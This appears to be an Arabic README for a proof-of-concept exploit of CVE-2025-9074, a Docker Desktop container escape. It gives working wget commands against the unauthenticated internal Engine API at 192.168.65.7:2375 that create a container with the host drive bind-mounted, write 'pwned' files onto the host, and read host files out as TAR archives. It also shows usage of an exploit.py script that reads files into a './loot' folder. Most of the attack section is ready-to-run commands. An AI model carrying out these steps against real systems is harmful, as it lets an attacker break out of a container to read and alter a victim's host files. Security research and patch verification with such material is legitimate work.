
يكشف Docker Desktop عن واجهة برمجة التطبيقات (API) الداخلية لمحرك Docker على http://192.168.65.7:2375
إلى أي حاوية قيد التشغيل — بدون مصادقة ودون أي تحكم في الوصول.
نظرًا لأن المحرك نفسه يمكنه تركيب نظام ملفات المضيف، يمكن للحاوية استدعاء هذه الواجهة لإنشاء حاوية جديدة تقوم بتركيب قرص المضيف (bind-mount)، ثم استخدام تلك الحاوية لقراءة وكتابة ملفات المضيف بشكل عشوائي — هروب كامل من الحاوية إلى المضيف.
http://192.168.65.7:2375 — لا حاجة إلى أي بيانات اعتماد.POST /containers/create مع
Binds: ["/mnt/host:/host_root"]، لتركيب قرص المضيف داخل حاوية جديدة.
داخل جهاز Docker الافتراضي (VM)، يكون نظام ملفات المضيف مكشوفًا في /mnt/host
(مثلًا، قرص Windows C: يظهر في /mnt/host/c).POST /containers/{id}/start بتفعيل التركيب (bind mount)،
مما يمنح وصولًا كاملًا إلى المضيف.echo pwned > /host_root/c/test/pwn.txt).GET /containers/{id}/archive?path=... أي مسار
على المضيف كأرشيف TAR — بدون الحاجة إلى شل (shell).أنشئ C:\test\readme.txt مع بعض المحتوى النموذجي حتى يكون لتجربة القراءة هدف.

docker run -it --rm alpine /bin/sh
جميع الخطوات اليدوية أدناه تُنفَّذ داخل هذه الحاوية (alpine يأتي مزودًا بـ wget).
عيّن متغير شل للواجهة لتقصير الأوامر:
API=http://192.168.65.7:2375
الهدف: إنشاء C:\test\pwn.txt على المضيف من داخل حاوية.
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)
# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start
ما الذي حدث:
Binds: /mnt/host:/host_root بتركيب أقراص المضيف داخل الحاوية الجديدة.pwned إلى C:\test\pwn.txt (/host_root/c/test/pwn.txt).النتيجة المتوقعة: أصبح C:\test\pwn.txt موجودًا الآن على المضيف.

الهدف: قراءة C:\test\readme.txt من المضيف من داخل حاوية.
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
ما الذي حدث:
GET /containers/{id}/archive?path=... أي مسار على المضيف كأرشيف TAR — بدون الحاجة إلى شل.النتيجة المتوقعة: تتم طباعة محتويات C:\test\readme.txt.

exploit.pyيعمل exploit.py على أتمتة كلا السيناريوهين. يستخدم مكتبة Python القياسية فقط،
ويكتشف تلقائيًا تركيب المضيف (Windows /mnt/host/c مقابل macOS/Linux /)،
ويترجم مسارات المضيف الأصلية نيابة عنك.
لا يمكن الوصول إلى الواجهة الداخلية (
192.168.65.7:2375) إلا من داخل حاوية، لذا شغّل البرنامج النصي في حاوية تحتوي على Python:
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
في Windows PowerShell، استخدم -v "${PWD}:/x"؛ وفي cmd.exe استخدم -v "%cd%:/x".
python /x/exploit.py info
يختبر الاتصال بالواجهة، ويكتشف نظام تشغيل المضيف، ويعرض إدخالات المستوى الأعلى لتركيب المضيف.
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'
# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot
هذا الإثبات المفاهيمي (PoC) مخصص للاختبار المصرح به والتعليم والبحث فقط. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام. شغّله فقط ضد أنظمة تملكها أو مصرح لك باختبارها.
هذا الإثبات المفاهيمي وملف README مشتقان من بحث Felix Boulet. يعود كل الفضل في الاكتشاف والتحليل الأصليين إلى المؤلف الأصلي.
هذا المشروع مرخص بموجب رخصة MIT.
| الخيار | الغرض |
|---|
--api URL | تجاوز نقطة نهاية الواجهة (الافتراضي http://192.168.65.7:2375) |
--image NAME | صورة حاوية الاستغلال (الافتراضي alpine، تُسحب تلقائيًا إذا لم تكن موجودة) |
--vm-mount PATH | تخطي الاكتشاف التلقائي وفرض تركيب المضيف داخل الجهاز الافتراضي (مثل /mnt/host أو /) |